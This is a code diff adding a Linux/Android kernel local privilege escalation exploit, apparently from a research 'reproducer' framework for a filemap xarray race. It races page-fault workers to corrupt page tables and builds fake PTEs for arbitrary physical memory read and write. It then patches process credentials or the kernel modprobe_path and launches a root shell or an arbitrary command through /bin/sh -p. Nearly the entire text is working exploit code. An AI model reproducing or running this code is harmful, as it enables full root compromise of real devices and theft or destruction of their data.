TLB_FLUSH_PAGES * PAGE_SIZE, + (i & 1) != 0 ? + PROT_READ | PROT_WRITE : PROT_READ) != 0) { + perror("tlb flush mprotect"); + return 2; + } + if (whole_reservation != MAP_FAILED) + munmap(whole_reservation, 2 * PMD_SIZE); + + for (unsigned int target_candidate = candidate; + target_candidate < LAYOUT_CANDIDATES && + target_candidate < candidate + 2 && !success; + target_candidate++) { + const uintptr_t target_root = + candidate_roots[target_candidate]; + const unsigned long target_source_first_pmd = + (source_bases[target_candidate] - target_root) / + PMD_SIZE; + const unsigned long target_source_pmds = + (RACE_SOURCE_VIEWS * SOURCE_SIZE + + PMD_SIZE - 1) / PMD_SIZE; + unsigned long first_present = PUD_PMD_SLOTS; + unsigned long last_present = 0; + unsigned long present_pmds = 0; + unsigned long best_first = PUD_PMD_SLOTS; + unsigned long best_len = 0; + unsigned long run_first = 0; + unsigned long run_len = 0; + + for (unsigned long pmd = 0; pmd < PUD_PMD_SLOTS; + pmd++) { + unsigned char probe = 0; + + if (pmd >= target_source_first_pmd && + pmd < target_source_first_pmd + + target_source_pmds) { + run_len = 0; + continue; + } + if (safe_read( + (const volatile unsigned char *) + (target_root + pmd * PMD_SIZE), + &probe) != 0) { + run_len = 0; + continue; + } + if (first_present == PUD_PMD_SLOTS) + first_present = pmd; + last_present = pmd; + present_pmds++; + if (run_len == 0) + run_first = pmd; + run_len++; + if (run_len > best_len) { + best_first = run_first; + best_len = run_len; + } + } + if (present_pmds == 0) + continue; + if (best_len > FAKE_PT_PAGES) + best_len = FAKE_PT_PAGES; + success = 1; + winning_fd = fd; + winning_alias = alias; + winning_source = source; + winning_fake_base = + target_root + best_first * PMD_SIZE; + winning_pmds = best_len; + printf("PAGE_TABLE_PRIMITIVE round=%d race_candidate=%u target_candidate=%u present_pmds=%lu first_layout_pmd=%lu last_layout_pmd=%lu selected_first_pmd=%lu mapped_pmds=%lu scanned_pmds=%lu\n", + i, candidate, target_candidate, present_pmds, + first_present, last_present, best_first, + winning_pmds, PUD_PMD_SLOTS); + fflush(stdout); + } + if (success) + break; + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + munmap(sources[view], SOURCE_SIZE); + munmap(alias, FAKE_ALIAS_SIZE); + (void)ftruncate(fd, 0); + close(fd); + if ((i % RACE_PROGRESS_INTERVAL) == 0) { + printf("RACE_PROGRESS round=%d active=%d mutation_failures=%lu active_gate_misses=%lu\n", + i, atomic_load(&active_workers), mutation_failures, + active_gate_misses); + fflush(stdout); + } + } + + atomic_store_explicit(&run_state, 2, memory_order_release); + for (i = 0; i < FAULT_THREADS; i++) + pthread_join(threads[i], NULL); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) + pthread_join(membarrier_threads[i], NULL); + printf("MEMBARRIER_CALLS count=%lu\n", + atomic_load_explicit(&membarrier_calls, memory_order_relaxed)); + if (!success) { + printf("PRIMITIVE_NOT_OBSERVED rounds=%d\n", rounds); + return 4; + } + if (preserve_corrupted_mm() < 0) { + perror("preserve corrupted mm"); + printf("MM_HOLDER_FAILED action=process_retained\n"); + fflush(stdout); + for (;;) + pause(); + } + + /* + * Search every physical window for the marker. Android guests with + * several GiB of RAM do not reliably place the spray below the first + * fake-PTE span. Changing protection on the corrupted mapping forces + * a range TLB invalidation after each PTE rewrite. + */ + mapped_bytes = winning_pmds * PMD_SIZE; + { + const unsigned long entries = mapped_bytes / PAGE_SIZE; + unsigned long marker_matches = 0; + unsigned long stale_matches = 0; + unsigned long sampled_pages = 0; + unsigned long found_i = (unsigned long)-1; + unsigned long found_pfn = 0; + unsigned long found_page = 0; + unsigned int window_index = 0; + int marker_verified = 0; + + printf("SAFE_FAKE_SPAN base=%#lx pmds=%lu bytes=%lu physical_pages=%lu scan_limit_mib=%lu\n", + (unsigned long)winning_fake_base, winning_pmds, + mapped_bytes, entries, PHYS_SCAN_LIMIT_MIB); + fflush(stdout); + + for (unsigned int range_index = 0; + range_index < PHYSICAL_RANGE_COUNT && !marker_verified; + range_index++) { + const struct physical_range *range = + &physical_ranges[range_index]; + + printf("RAM_RANGE index=%u first_pfn=%#lx end_pfn=%#lx pages=%lu source=exact_emulator_firmware_memmap\n", + range_index, range->first_pfn, range->end_pfn, + range->end_pfn - range->first_pfn); + fflush(stdout); + for (unsigned long base_pfn = range->first_pfn; + base_pfn < range->end_pfn && !marker_verified; + base_pfn += entries) { + unsigned long scan_pages = + range->end_pfn - base_pfn; + unsigned char byte = 0; + + if (scan_pages > entries) + scan_pages = entries; + + if (remap_physical_window(winning_alias, + winning_fake_base, + mapped_bytes, + base_pfn) != 0) { + perror("remap marker physical window"); + return 6; + } + printf("MARKER_WINDOW_REMAP range=%u index=%u base_pfn=%#lx mapped_bytes=%lu scanned_bytes=%lu\n", + range_index, window_index++, base_pfn, + mapped_bytes, scan_pages * PAGE_SIZE); + fflush(stdout); + for (unsigned long n = 0; n < scan_pages; n++) { + volatile unsigned char *phys = + (volatile unsigned char *) + winning_fake_base + n * PAGE_SIZE; + unsigned long candidate_page; + unsigned char *orig; + unsigned char phys_before; + unsigned char expected; + + sampled_pages++; + if (safe_read(phys, &byte) != 0 || + memcmp((const void *)phys, MARKER_MAGIC, + sizeof(MARKER_MAGIC)) != 0) + continue; + memcpy(&candidate_page, + (const void *)(phys + 32), + sizeof(candidate_page)); + if (candidate_page >= MARKER_PAGES) + continue; + marker_matches++; + orig = (unsigned char *)marker + + candidate_page * PAGE_SIZE; + if (safe_read(phys + 128, &phys_before) != 0 || + phys_before != orig[128]) { + stale_matches++; + continue; + } + expected = (unsigned char)(phys_before ^ 0xa5); + if (safe_write(phys + 128, expected) != 0 || + orig[128] != expected) { + (void)safe_write(phys + 128, phys_before); + stale_matches++; + continue; + } + found_i = n; + found_pfn = base_pfn + n; + found_page = candidate_page; + marker_verified = 1; + printf("ARBITRARY_PHYSICAL_RW sample_index=%lu pfn=%#lx marker_page=%lu alias_before=%u alias_after=%u write_ok=1 marker_matches=%lu stale_matches=%lu\n", + found_i, found_pfn, found_page, + phys_before, orig[128], marker_matches, + stale_matches); + fflush(stdout); + break; + } + } + } + if (!marker_verified) { + printf("ARBITRARY_PHYSICAL_RW_NOT_VERIFIED sampled_pages=%lu marker_matches=%lu stale_matches=%lu scan_limit_mib=%lu\n", + sampled_pages, marker_matches, stale_matches, + PHYS_SCAN_LIMIT_MIB); + return 6; + } + } + { + const unsigned long window_pages = mapped_bytes / PAGE_SIZE; + int credentials_patched = 0; + int root_helper_executed = 0; + int modprobe_available = + getenv("XARR_DISABLE_MODPROBE") == NULL && + prepare_modprobe_helper() == 0; + + for (unsigned int range_index = 0; + range_index < PHYSICAL_RANGE_COUNT && + !credentials_patched && !root_helper_executed; + range_index++) { + const struct physical_range *range = + &physical_ranges[range_index]; + + for (unsigned long base_pfn = range->first_pfn; + base_pfn < range->end_pfn && + !credentials_patched && !root_helper_executed; + base_pfn += window_pages) { + unsigned long scan_pages = + range->end_pfn - base_pfn; + unsigned long scan_bytes; + + if (scan_pages > window_pages) + scan_pages = window_pages; + scan_bytes = scan_pages * PAGE_SIZE; + if (remap_physical_window(winning_alias, + winning_fake_base, + mapped_bytes, + base_pfn) != 0) { + perror("remap physical window"); + cleanup_modprobe_helper(); + return 7; + } + printf("PHYS_WINDOW_REMAP range=%u base_pfn=%#lx mapped_bytes=%lu scanned_bytes=%lu\n", + range_index, base_pfn, mapped_bytes, scan_bytes); + fflush(stdout); + if (patch_current_credentials(winning_fake_base, + scan_bytes, + base_pfn) == 0) { + credentials_patched = 1; + break; + } + if (modprobe_available && + patch_modprobe_path(winning_fake_base, + scan_bytes, base_pfn) == 0) { + root_helper_executed = 1; + break; + } + } + } + cleanup_modprobe_helper(); + if (root_helper_executed) { + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u root_execution=modprobe_helper\n", + target_euid); + fflush(stdout); + return 0; + } + if (!credentials_patched) { + printf("CREDENTIAL_PATCH_FAILED\n"); + return 7; + } + } + if (prove_root_identity() != 0) { + printf("ROOT_PROOF_FAILED\n"); + return 8; + } + if (prove_post_root_create() != 0) { + printf("POST_ROOT_CREATE_FAILED\n"); + return 9; + } + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u to_uid=%u\n", + target_euid, geteuid()); + fflush(stdout); + if (launch_root_payload() != 0) + return 10; + return 0; + + (void)winning_source; + (void)winning_fd; + printf("EXPLOIT_STAGE_DONE primitive=controlled_fake_page_tables uid=%u euid=%u\n", + getuid(), geteuid()); + fflush(stdout); + return 0; +} + +int main(int argc, char **argv) +{ + struct utsname uts; + int rounds = DEFAULT_ROUNDS; + const char *env_rounds = getenv("XARR_ROUNDS"); + if (snprintf(post_root_path, sizeof(post_root_path), "%s-%ld", + POST_ROOT_PATH_PREFIX, (long)getpid()) >= + (int)sizeof(post_root_path)) + return 2; + + if (geteuid() == 0 && argc > 1 && strcmp(argv[1], "-q") == 0) { + if (snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + argv[0]) >= (int)sizeof(modprobe_marker_path)) + return 2; + if (prove_root_identity() != 0 || + prove_post_root_create() != 0 || + create_root_marker() != 0) + return 1; + printf("ROOT_HELPER_EXECUTION_CONFIRMED uid=%u euid=%u gid=%u egid=%u\n", + getuid(), geteuid(), getgid(), getegid()); + fflush(stdout); + return 0; + } + + if (env_rounds) + rounds = atoi(env_rounds); + if (argc > 1) + rounds = atoi(argv[1]); + if (rounds <= 0) + rounds = DEFAULT_ROUNDS; + if (uname(&uts) == 0) + printf("KERNEL_RELEASE %s\n", uts.release); + printf("EXPLOIT_CONFIG rounds=%d source_exec=1 file_base_pgoff=%lu delay_period=%u delay_step=%u startup_wait=%s fault_order=pwrite_then_dontneed fault_access=read fault_bytes=%lu fault_loops=%u soft_dirty_clear=0 tlb_flush_pages=%lu worker_threads=%u source_views=%u membarrier_shots=%u membarrier_workers=%u timer_ns=%lu timers_per_worker=%u mutation_mode=%u collapse_attempts=%u collapse_retry_ns=%lu progress_interval=%u worker_cpus=%s main_cpu=%s layout_candidates=%u rotate_layout=%u layout_scan_pmds=%lu phys_scan_limit_mib=%lu cred_layout=android-6.1-btf\n", + rounds, RACE_FILE_BASE_PGOFF, DELAY_PERIOD, DELAY_STEP, + STARTUP_WAIT_ALL_WORKERS ? "all_workers_and_active_caller" : + (STARTUP_WAIT_ACTIVE ? "active_caller" : "none"), + (unsigned long)RACE_FAULT_BYTES, + (unsigned int)RACE_FAULT_LOOPS, TLB_FLUSH_PAGES, + FAULT_THREADS, RACE_SOURCE_VIEWS, + RACE_MEMBARRIER_SHOTS, + RACE_MEMBARRIER_WORKERS, RACE_TIMER_NS, + RACE_TIMERS_PER_WORKER, RACE_MUTATION_MODE, + (unsigned int)RACE_COLLAPSE_ATTEMPTS, + RACE_COLLAPSE_RETRY_NS, + (unsigned int)RACE_PROGRESS_INTERVAL, + RACE_PIN_WORKERS ? "pinned" : "unbound", + RACE_PIN_WORKERS ? "0" : "unbound", + (unsigned int)LAYOUT_CANDIDATES, + (unsigned int)RACE_ROTATE_LAYOUT, PUD_PMD_SLOTS, + PHYS_SCAN_LIMIT_MIB); + fflush(stdout); + return run_exploit(rounds); +} diff --git a/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v22.c b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v22.c new file mode 100644 index 0000000..075220d --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v22.c @@ -0,0 +1,1800 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif + +#define PAGE_SIZE 4096UL +#define PMD_SIZE (2UL * 1024 * 1024) +#define PUD_SIZE (1024UL * 1024 * 1024) +#define SOURCE_ENTRY 2UL +#define SOURCE_SIZE (16UL * PAGE_SIZE) +#define SOURCE_PGOFF 256UL +#ifndef RACE_FILE_BASE_PGOFF +#define RACE_FILE_BASE_PGOFF 0UL +#endif +#if (RACE_FILE_BASE_PGOFF & 511UL) != 0 +#error RACE_FILE_BASE_PGOFF must be 512-page aligned +#endif +#define CORRUPT_FIRST_PMD 320UL +#define FAKE_PT_PAGES 192UL +#define SAFE_FAKE_PT_PAGES 64UL +#define HIGH_FAKE_PMD_OFFSET 64UL +#define HIGH_FAKE_PT_PAGES 128UL +#define PHYS_BASE_PFN 0x100UL +#ifndef PHYS_SCAN_LIMIT_MIB +#define PHYS_SCAN_LIMIT_MIB 5120UL +#endif +#define PHYS_SCAN_LIMIT_PFN \ + ((PHYS_SCAN_LIMIT_MIB * 1024UL * 1024UL) / PAGE_SIZE) +#define FAKE_WINDOW_SIZE (FAKE_PT_PAGES * PMD_SIZE) +#define FAKE_ALIAS_SIZE (FAKE_PT_PAGES * PAGE_SIZE) +#ifndef LAYOUT_CANDIDATES +#define LAYOUT_CANDIDATES 2U +#endif +#if LAYOUT_CANDIDATES < 2 || LAYOUT_CANDIDATES > 64 +#error LAYOUT_CANDIDATES must be between 2 and 64 +#endif +#define LAYOUT_PMD_SLOTS \ + ((LAYOUT_CANDIDATES * PUD_SIZE) / PMD_SIZE) +#define PUD_PMD_SLOTS (PUD_SIZE / PMD_SIZE) +#define DEFAULT_ROUNDS 20000 +#ifndef FAULT_THREADS +#define FAULT_THREADS 8 +#endif +#ifndef RACE_SOURCE_VIEWS +#define RACE_SOURCE_VIEWS 8 +#endif +#if RACE_SOURCE_VIEWS < 1 || RACE_SOURCE_VIEWS > 16 +#error RACE_SOURCE_VIEWS must be between 1 and 16 +#endif +#ifndef RACE_ROTATE_LAYOUT +#define RACE_ROTATE_LAYOUT 0 +#endif +#ifndef RACE_LAYOUT_CANDIDATE +#define RACE_LAYOUT_CANDIDATE 0 +#endif +#if RACE_LAYOUT_CANDIDATE >= LAYOUT_CANDIDATES +#error RACE_LAYOUT_CANDIDATE exceeds the candidate layout +#endif +#define MARKER_PAGES 32768UL +#define TLB_FLUSH_PAGES 128UL +#ifndef DELAY_PERIOD +#define DELAY_PERIOD 100U +#endif +#ifndef DELAY_STEP +#define DELAY_STEP 10U +#endif +#ifndef STARTUP_WAIT_ACTIVE +#define STARTUP_WAIT_ACTIVE 1 +#endif +#ifndef STARTUP_WAIT_ALL_WORKERS +#define STARTUP_WAIT_ALL_WORKERS 1 +#endif +#ifndef RACE_FAULT_LOOPS +#define RACE_FAULT_LOOPS 64U +#endif +#if RACE_FAULT_LOOPS < 1 +#error RACE_FAULT_LOOPS must be positive +#endif +#ifndef RACE_FAULT_BYTES +#define RACE_FAULT_BYTES PAGE_SIZE +#endif +#if RACE_FAULT_BYTES < 1 || RACE_FAULT_BYTES > SOURCE_SIZE +#error RACE_FAULT_BYTES must be between one byte and SOURCE_SIZE +#endif + +#ifndef RACE_MEMBARRIER_SHOTS +#define RACE_MEMBARRIER_SHOTS 0 +#endif +#ifndef RACE_TIMER_NS +#define RACE_TIMER_NS 100000UL +#endif +#ifndef RACE_TIMERS_PER_WORKER +#define RACE_TIMERS_PER_WORKER 8 +#endif +#ifndef RACE_PIN_WORKERS +#define RACE_PIN_WORKERS 0 +#endif +#ifndef RACE_MEMBARRIER_WORKERS +#define RACE_MEMBARRIER_WORKERS 0 +#endif +#ifndef RACE_MUTATION_MODE +#define RACE_MUTATION_MODE 0 +#endif +#ifndef RACE_COLLAPSE_ATTEMPTS +#define RACE_COLLAPSE_ATTEMPTS 1 +#endif +#ifndef RACE_COLLAPSE_RETRY_NS +#define RACE_COLLAPSE_RETRY_NS 1000000UL +#endif +#ifndef RACE_PROGRESS_INTERVAL +#define RACE_PROGRESS_INTERVAL 100U +#endif +#if RACE_PROGRESS_INTERVAL < 1 +#error RACE_PROGRESS_INTERVAL must be positive +#endif +#define MARKER_MAGIC "XARR-PHYS-MARK!" +#define PTE_SPILL_MAGIC "XARR-PTE-SPILL!" +#define ROOT_PROOF_PATH \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-root-proof" +#define ROOT_PROOF_TEXT "filemap-xarray-root-proof" +#define POST_ROOT_PATH_PREFIX \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-post-root" +#define POST_ROOT_TEXT "filemap-xarray-post-root" +#define MODPROBE_TRIGGER_PATH \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-binfmt-trigger" +#define MODPROBE_PATH_ORIGINAL "/sbin/modprobe" +#define CAP_VALID_MASK_7_1 0x000001ffffffffffULL +#define ROOT_REQUIRED_CAPS ((1ULL << CAP_CHOWN) | \ + (1ULL << CAP_DAC_OVERRIDE) | \ + (1ULL << CAP_SETGID) | (1ULL << CAP_SETUID)) + +#define PTE_PRESENT (1ULL << 0) +#define PTE_RW (1ULL << 1) +#define PTE_USER (1ULL << 2) +#define PTE_ACCESSED (1ULL << 5) +#define PTE_DIRTY (1ULL << 6) +#define PTE_NX (1ULL << 63) +#define USER_PTE_FLAGS (PTE_NX | PTE_DIRTY | PTE_ACCESSED | PTE_USER | PTE_RW | PTE_PRESENT) + +struct physical_range { + unsigned long first_pfn; + unsigned long end_pfn; +}; + +static const struct physical_range physical_ranges[] = { + { 0x100UL, 0xbffd6UL }, + { 0x100000UL, 0x140000UL }, +}; + +#define PHYSICAL_RANGE_COUNT \ + (sizeof(physical_ranges) / sizeof(physical_ranges[0])) + +static atomic_int run_state; +static atomic_int active_workers; +static uid_t target_ruid, target_euid, target_suid, target_fsuid; +static gid_t target_rgid, target_egid, target_sgid, target_fsgid; +static int root_proof_required; +static char post_root_path[128]; +static char modprobe_helper_path[sizeof(MODPROBE_PATH_ORIGINAL)]; +static char modprobe_marker_path[64]; +static atomic_int fault_callers; +static atomic_int fault_started; +static atomic_int fault_done; +static atomic_int fault_release; +static atomic_ulong membarrier_calls; +static _Atomic(char *) fault_addrs[RACE_SOURCE_VIEWS]; +static int sink_fd = -1; +static sigjmp_buf fault_jmp; +static volatile sig_atomic_t fault_guard; + + + +static void fault_signal(int sig) +{ + if (fault_guard) + siglongjmp(fault_jmp, sig); + _exit(128 + sig); +} + +static int safe_read(const volatile unsigned char *p, unsigned char *out) +{ + int sig = sigsetjmp(fault_jmp, 1); + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *out = *p; + fault_guard = 0; + return 0; +} + +static int safe_write(volatile unsigned char *p, unsigned char value) +{ + int sig = sigsetjmp(fault_jmp, 1); + + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *p = value; + fault_guard = 0; + return 0; +} +static int mm_holder_main(void *unused) +{ + uint64_t blocked = ~0ULL; + + (void)unused; + (void)syscall(SYS_prctl, PR_SET_NAME, "xarr-mm-holder", 0, 0, 0); + (void)syscall(SYS_rt_sigprocmask, SIG_SETMASK, &blocked, NULL, + sizeof(blocked)); + for (;;) + (void)syscall(SYS_pause); + return 0; +} + +static pid_t preserve_corrupted_mm(void) +{ + const size_t stack_size = 1024UL * 1024UL; + unsigned char *stack; + pid_t pid; + + stack = mmap(NULL, stack_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (stack == MAP_FAILED) + return -1; + (void)madvise(stack, stack_size, MADV_DONTDUMP); + fflush(NULL); + pid = clone(mm_holder_main, stack + stack_size, CLONE_VM | SIGCHLD, + NULL); + if (pid < 0) { + munmap(stack, stack_size); + return -1; + } + printf("MM_HOLDER pid=%ld state=retaining_corrupted_mm cleanup=reboot_only\n", + (long)pid); + fflush(stdout); + return pid; +} + +static int launch_root_payload(void) +{ + const char *command = getenv("XARR_ROOT_COMMAND"); + const char *shell = getenv("XARR_ROOT_SHELL"); + + if (command != NULL && command[0] != '\0') { + printf("ROOT_PAYLOAD mode=command shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", "-c", command, NULL); + perror("exec root command"); + return -1; + } + if (shell != NULL && strcmp(shell, "0") != 0) { + printf("ROOT_PAYLOAD mode=interactive shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", NULL); + perror("exec root shell"); + return -1; + } + return 0; +} + +static void *fault_worker(void *arg) +{ + const unsigned int worker = (unsigned int)(uintptr_t)arg; + timer_t race_timers[RACE_TIMERS_PER_WORKER > 0 ? + RACE_TIMERS_PER_WORKER : 1] = { 0 }; + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int fault_cpus = + cpus > 2 && RACE_MEMBARRIER_WORKERS > 0 ? + (unsigned int)(cpus - 2) : + (cpus > 1 ? (unsigned int)(cpus - 1) : 1U); + unsigned int cpu = cpus > 1 ? + 1U + worker % fault_cpus : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) + _exit(2); + } + if (RACE_TIMER_NS > 0) { + struct sigevent event; + struct itimerspec interval; + struct timespec start; + sigset_t blocked; + int signo = SIGRTMIN + 3; + + sigemptyset(&blocked); + sigaddset(&blocked, signo); + if (pthread_sigmask(SIG_BLOCK, &blocked, NULL) != 0) + _exit(2); + memset(&event, 0, sizeof(event)); + event.sigev_notify = SIGEV_THREAD_ID; + event.sigev_signo = signo; + event._sigev_un._tid = (pid_t)syscall(SYS_gettid); + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_create(CLOCK_MONOTONIC, &event, + &race_timers[timer]) != 0) + _exit(2); + } + if (clock_gettime(CLOCK_MONOTONIC, &start) != 0) + _exit(2); + start.tv_nsec += 1000000L; + if (start.tv_nsec >= 1000000000L) { + start.tv_sec++; + start.tv_nsec -= 1000000000L; + } + memset(&interval, 0, sizeof(interval)); + interval.it_value = start; + interval.it_interval.tv_sec = RACE_TIMER_NS / 1000000000UL; + interval.it_interval.tv_nsec = RACE_TIMER_NS % 1000000000UL; + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_settime(race_timers[timer], TIMER_ABSTIME, + &interval, NULL) != 0) + _exit(2); + } + } + for (;;) { + char *p; + unsigned int fault_loops = 0; + int state; + + do { + state = atomic_load_explicit(&run_state, memory_order_acquire); + if (state == 0) + sched_yield(); + } while (state == 0); + if (state == 2) + break; + + atomic_fetch_add_explicit(&active_workers, 1, memory_order_acq_rel); + if (atomic_load_explicit(&run_state, memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + continue; + } + p = atomic_load_explicit(&fault_addrs[worker % RACE_SOURCE_VIEWS], + memory_order_acquire); + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit(&run_state, + memory_order_acquire) == 1 && + atomic_load_explicit(&fault_release, + memory_order_acquire) == 0) + sched_yield(); + if (atomic_load_explicit(&run_state, + memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, + memory_order_acq_rel); + continue; + } + } + atomic_fetch_add_explicit(&fault_started, 1, + memory_order_acq_rel); + while (atomic_load_explicit(&run_state, memory_order_relaxed) == 1 && + fault_loops < RACE_FAULT_LOOPS) { + ssize_t n; + + atomic_fetch_add_explicit(&fault_callers, 1, memory_order_acq_rel); + n = pwrite(sink_fd, p, RACE_FAULT_BYTES, 0); + atomic_fetch_sub_explicit(&fault_callers, 1, memory_order_acq_rel); + (void)madvise(p, SOURCE_SIZE, MADV_DONTNEED); + (void)n; + fault_loops++; + } + atomic_fetch_add_explicit(&fault_done, 1, memory_order_acq_rel); + while (atomic_load_explicit(&run_state, + memory_order_acquire) == 1) + sched_yield(); + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + } + if (RACE_TIMER_NS > 0) { + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) + (void)timer_delete(race_timers[timer]); + } + return NULL; +} + +static void *membarrier_worker(void *arg) +{ + (void)arg; + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int cpu = cpus > 1 ? (unsigned int)(cpus - 1) : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) + _exit(2); + } + for (;;) { + int state = atomic_load_explicit(&run_state, memory_order_acquire); + + if (state == 2) + break; + if (state != 1) { + sched_yield(); + continue; + } + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); + atomic_fetch_add_explicit(&membarrier_calls, 1, + memory_order_relaxed); + } + return NULL; +} + +static void collapse_retry_pause(void) +{ + struct timespec delay = { + .tv_sec = RACE_COLLAPSE_RETRY_NS / 1000000000UL, + .tv_nsec = RACE_COLLAPSE_RETRY_NS % 1000000000UL, + }; + + while (nanosleep(&delay, &delay) != 0 && errno == EINTR) + ; +} + +static int prepare_large_shmem_folio(int fd) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + int rc; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return -1; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return -1; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + rc = -1; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + errno = 0; + rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); + if (rc == 0 || (errno != EAGAIN && errno != EBUSY)) + break; + collapse_retry_pause(); + } + if (rc != 0) + fprintf(stderr, "MADV_COLLAPSE attempts=%u errno=%d (%s)\n", + RACE_COLLAPSE_ATTEMPTS, errno, strerror(errno)); + munmap(reservation, 2 * PMD_SIZE); + return rc; +} + +static unsigned char *prepare_order0_shmem_folio(int fd, + void **reservation_out) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return MAP_FAILED; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + if (madvise(mapping, PMD_SIZE, MADV_NOHUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + if (madvise(mapping, PMD_SIZE, MADV_HUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + *reservation_out = reservation; + return mapping; +} + +static void fill_fake_ptes(uint64_t *alias, uint64_t base_pfn, uint64_t stride) +{ + unsigned long i; + unsigned long entries = FAKE_PT_PAGES * (PAGE_SIZE / sizeof(uint64_t)); + + for (i = 0; i < entries; i++) + alias[i] = ((base_pfn + i * stride) << 12) | USER_PTE_FLAGS; + atomic_thread_fence(memory_order_seq_cst); +} + +static int remap_physical_window(uint64_t *alias, uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + fill_fake_ptes(alias, base_pfn, 1); + if (mprotect((void *)fake_base, mapped_bytes, PROT_READ) != 0 || + mprotect((void *)fake_base, mapped_bytes, + PROT_READ | PROT_WRITE) != 0) + return -1; + return 0; +} + +static int prepare_modprobe_helper(void) +{ + char target[64]; + struct stat st; + + if (snprintf(target, sizeof(target), "/proc/%ld/exe", + (long)getpid()) >= (int)sizeof(target)) + return -1; + for (unsigned int attempt = 0; attempt < 256; attempt++) { + unsigned int suffix = ((unsigned int)getpid() + attempt) & 0xffU; + + if (snprintf(modprobe_helper_path, + sizeof(modprobe_helper_path), "/tmp/x%02x", + suffix) >= (int)sizeof(modprobe_helper_path) || + snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + modprobe_helper_path) >= + (int)sizeof(modprobe_marker_path)) + return -1; + if (lstat(modprobe_helper_path, &st) == 0 || errno != ENOENT) + continue; + if (lstat(modprobe_marker_path, &st) == 0 || errno != ENOENT) + continue; + if (symlink(target, modprobe_helper_path) == 0) { + printf("MODPROBE_HELPER_PREPARED path=%s target=%s marker=%s\n", + modprobe_helper_path, target, + modprobe_marker_path); + fflush(stdout); + return 0; + } + } + modprobe_helper_path[0] = '\0'; + modprobe_marker_path[0] = '\0'; + return -1; +} + +static void cleanup_modprobe_helper(void) +{ + if (modprobe_helper_path[0] == '\0') + return; + if (unlink(modprobe_helper_path) == 0) + printf("MODPROBE_HELPER_CLEANUP path=%s removed=1\n", + modprobe_helper_path); + else + printf("MODPROBE_HELPER_CLEANUP path=%s removed=0 errno=%d\n", + modprobe_helper_path, errno); + fflush(stdout); + modprobe_helper_path[0] = '\0'; +} + +static int create_root_marker(void) +{ + static const char payload[] = 